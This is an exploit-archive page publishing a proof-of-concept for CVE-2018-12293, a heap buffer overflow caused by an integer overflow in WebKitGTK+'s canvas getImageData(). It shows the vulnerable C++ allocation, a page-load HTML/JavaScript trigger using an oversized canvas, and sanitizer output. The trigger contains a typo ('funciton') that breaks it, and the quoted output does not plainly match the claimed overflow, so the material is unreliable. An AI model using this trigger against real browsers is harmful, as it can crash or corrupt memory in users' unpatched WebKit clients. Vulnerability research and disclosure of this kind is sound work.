exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WebkitGTK+ 2.20.3 ImageBufferCairo::getImageData() Buffer Overflow

WebkitGTK+ 2.20.3 ImageBufferCairo::getImageData() Buffer Overflow
Posted Aug 16, 2018
Authored by PeregrineX

WebkitGTK+ version 2.20.3 ImageBufferCairo::getImageData() buffer overflow proof of concept exploit.

tags | exploit, overflow, proof of concept
advisories | CVE-2018-12293
SHA-256 | c669f849911cb422bc27df76dde3df3109a5a561cedf811ec2f14604a0af2198

WebkitGTK+ 2.20.3 ImageBufferCairo::getImageData() Buffer Overflow

Change Mirror Download
# Exploit Title: WebkitGTK+ 2.20.3 - 'ImageBufferCairo::getImageData()' Buffer Overflow (PoC)
# Date: 2018-08-15
# Exploit Author: PeregrineX
# Vendor Homepage: https://webkitgtk.org/ & https://webkit.org/wpe/
# Software Link: https://webkitgtk.org/releases/ & https://wpewebkit.org/releases/
# Version: <2.20.3 (GTK+) <2.20.1 (WPE)
# Tested on: WebKitGTK+ 2.20.2
# CVE : CVE-2018-12293

# SUMMARY:
# getImageData() in ImageBufferCairo.cpp multiplies rect.width() * rect.height() * 4
# without any overflow checks. If result is larger than UINT_MAX,
# heap-based buffer overflow via integer overflow will occur,
# which could be exploited further.

# Works on WebKitGTK+ <2.20.3 and WPE WebKit <2.20.1
# Credit to ADlab of Venustech for originally finding this vulnerability.

Vulnerable Code (Source/WebCore/platform/graphics/cairo/ImageBufferCairo.cpp):

template <AlphaPremultiplication premultiplied>
RefPtr<Uint8ClampedArray> getImageData(const IntRect& rect, const IntRect& logicalRect, const ImageBufferData& data, const IntSize& size, const IntSize& logicalSize, float resolutionScale)
{
auto result = Uint8ClampedArray::createUninitialized(rect.width() * rect.height() * 4);
if (!result)
return nullptr;
//...

# Proof of Concept:
<html>
<head>
<script>
funciton poc() {
var c = document.getElementById("myCanvas");
var ctx = c.getContext("2d");
var imgData = ctx.getImageData(0, 0, 32768, 32768);
}
</script>
</head>
<body onload="poc()">
<canvas id="myCanvas" width="32768" height="32768">No HTML5 canvas tag.</canvas>
</body>
</html>

# Output snippet
UBSAN output:
../Source/JavaScriptCore/runtime/JSGlobalObject.cpp:1608:22: runtime error:
call to function (unknown) through pointer to incorrect function type
'JSC::RuntimeFlags (*)(const JSC::JSGlobalObject *)'
(/usr/local/lib/libwebkit2gtk-4.0.so.37+0x11116c70): note: (unknown) defined here
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior
../Source/JavaScriptCore/runtime/JSObject.h:695:17 in
DerivedSources/JavaScriptCore/KeywordLookup.h:469:13: runtime error:
load of misaligned address 0x7fd8a1d95062 for type 'const uint32_t'
(aka 'const unsigned int'), which requires 4 byte alignment
0x7fd8a1d95062: note: pointer points here
00 00 28 66 75 6e 63 74 69 6f 6e 20 28 74 68 69 73 56 61 6c 75 65 2c 20 61 72 67 75 6d 65 6e 74
^

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close